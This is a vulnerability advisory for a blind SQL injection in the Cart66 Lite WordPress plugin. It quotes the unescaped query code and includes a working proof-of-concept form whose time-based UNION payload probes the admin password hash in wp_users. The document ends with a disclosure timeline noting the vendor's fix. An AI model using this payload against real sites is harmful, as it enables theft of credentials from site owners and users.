Cart66Ajax::shortcodeProductsTable
is accessible for every registered user.
add_action('wp_ajax_shortcode_products_table', array('Cart66Ajax', 'shortcodeProductsTable'));
$postId
is not escaped correctly (only html tags are stripped).
File: cart66-lite\models\Cart66Ajax.php
public static function shortcodeProductsTable() {
global $wpdb;
$prices = array();
$types = array();
$postId = Cart66Common::postVal('id');
$product = new Cart66Product();
$products = $product->getModels("where id=$postId", "order by name");
$data = array();
}
File: cart66-lite\models\Cart66Common.php
public static function postVal($key)
{
$value = false;
if (isset($_POST[$key])) {
$value = self::deepTagClean($_POST[$key]);
}
return $value;
}
public static function deepTagClean(&$data)
{
if (is_array($data)) {
foreach ($data as $key => $value) {
if (is_array($value)) {
$data[$key] = self::deepTagClean($value);
} else {
$value = strip_tags($value);
$data[$key] = preg_replace('/[<>\\\\]/', '', $value);
}
}
} else {
$data = strip_tags($data);
$data = preg_replace('/[<>\\\\]/', '', $data);;
}
return $data;
}
So we inject SQL into $where variable:
File: cart66-lite\models\Cart66ModelAbstract.php
$sql = 'SELECT ' . $id . ' FROM ' . $tableName . $where . $orderBy . $limit;
Proof of Concept
Login as regular user (created using wp-login.php?action=register):
<form action="http://wordpress-install/wp-admin/admin-ajax.php" method="post">
<input type="hidden" name="action" value="shortcode_products_table">
Blind SQL Injection: <input type="text" name="id" value="0 UNION (SELECT IF(substr(user_pass,1,1) = CHAR(36), SLEEP(5), 0) FROM wp_users WHERE ID = 1) -- ">
<input value="Hack" type="submit">
</form>
This SQL will check if first password character user ID=1 is “$”.
If yes, it will sleep 5 seconds.
Timeline
- 29-10-2014: Discovered
- 08-11-2014: Vendor notified
- 10-11-2014: Version 1.5.2 released, issue resolved